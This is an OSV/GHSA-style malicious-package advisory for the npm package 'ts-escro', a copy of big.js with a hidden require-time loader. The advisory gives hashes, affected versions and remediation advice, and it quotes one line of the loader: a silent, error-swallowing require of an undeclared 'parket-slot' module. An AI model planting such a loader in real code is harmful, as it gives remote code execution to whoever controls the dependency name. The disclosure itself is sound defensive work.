ts-escro

{"schema_version":"1.7.4","id":"MAL-2026-6319","published":"2026-06-23T16:11:18Z","modified":"2026-08-05T06:02:57.663396921Z","aliases":["GHSA-5hm9-jj3m-6q76"],"summary":"Malicious code in ts-escro (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (26030cb7301c4ff9ea68753581f70290a957e1422b425df7119416fea126c324)\nThe package ships a verbatim copy of MikeMcl/big.js v7.0.1 (same banner, MIT copyright, and API) but is published under a different name (ts-escro). At module load time, big.js line 606 (and big.mjs:606) executes `try { const doc = require('parket-slot'); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {}`, silently attempting to load and invoke an undeclared third-party module 'parket-slot' with all errors swallowed. The package.json declares no dependency on 'parket-slot'; the only declared dependency is a non-resolvable local filesystem path `log-taker: file:../log-taker`, which indicates the artifact was published from a staging directory and could not have been produced through normal release engineering. Any consumer that require()s ts-escro triggers the hidden loader. Whoever controls future publishes of the 'parket-slot' name turns every ts-escro install into remote code execution at require-time. The impersonation-of-big.js cover, undeclared loader, swallowed errors, and broken staging dependency together establish a typosquat-loader / stager pattern with clear malicious intent.\n\n## Source: ghsa-malware (09262d9bb41b082ed30cef52bc29f975686fae5a107543d4a2f2f40c08a11d6e)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"ts-escro","ecosystem":"npm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["0.0.6","0.0.8","0.0.7","0.0.9"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"big.js","sha256":"5b803b2bbd43db704b5802fa5bf4da96e79c3b876d74495116b53a837101dace","tlsh":"24c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc"},{"path":"package.json","sha256":"a251278e6809c3040aaa0554ba72d81061908ef2cad299aa88a4c016007ffc34","tlsh":"2a213467c9a19da70af89b947c6c43aaf1151b1f00a04c17b07b130c4b3355b2096bbd"}],"package_integrity":[{"filename":"ts-escro-0.0.6.tgz","hashes":{"sha1":"88178fbc3cc1bbaf621c008374e07c6736a9260f","sha512_sri":"sha512-hACLJvXwrtiI9k+vXOGryzvweY8mLm300CxpmMB3l6VKPbkS+DZh4RExfcM2k5p0T6n0Y0zNvLp1Bgsi/tt9+w=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/ts-escro/v/0.0.6"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/ts-escro/v/0.0.8"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-5hm9-jj3m-6q76"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/ts-escro/v/0.0.7"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/ts-escro/v/0.0.9"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-007261","import_time":"2026-06-23T16:54:12.607906457Z","modified_time":"2026-06-23T16:11:18Z","sha256":"26030cb7301c4ff9ea68753581f70290a957e1422b425df7119416fea126c324","source":"amazon-inspector","versions":["0.0.6"]},{"id":"IN-MAL-2026-007268","import_time":"2026-06-23T16:54:13.323926281Z","modified_time":"2026-06-23T16:11:24Z","sha256":"9b5a10f4679dd3b65ce4cdfb738644518a1c9836b2ce648277d1bcb449c496e3","source":"amazon-inspector","versions":["0.0.8"]},{"id":"GHSA-5hm9-jj3m-6q76","import_time":"2026-07-27T09:43:03.759658007Z","modified_time":"2026-07-27T01:17:59Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"09262d9bb41b082ed30cef52bc29f975686fae5a107543d4a2f2f40c08a11d6e","source":"ghsa-malware"},{"id":"IN-MAL-2026-013254","import_time":"2026-08-05T06:00:58.755706412Z","modified_time":"2026-08-05T05:56:32Z","sha256":"0bc8c12aa1d43622e2c62ff2cd4a71b6f7c5e1528ce65e47ebdaaf39e822fd19","source":"amazon-inspector","versions":["0.0.7"]},{"id":"IN-MAL-2026-013256","import_time":"2026-08-05T06:00:58.943385762Z","modified_time":"2026-08-05T05:56:48Z","sha256":"38f881353b8b8d1054825142d1a1dd1c6f58d94b5674a02a11d690f9c8d5da54","source":"amazon-inspector","versions":["0.0.9"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}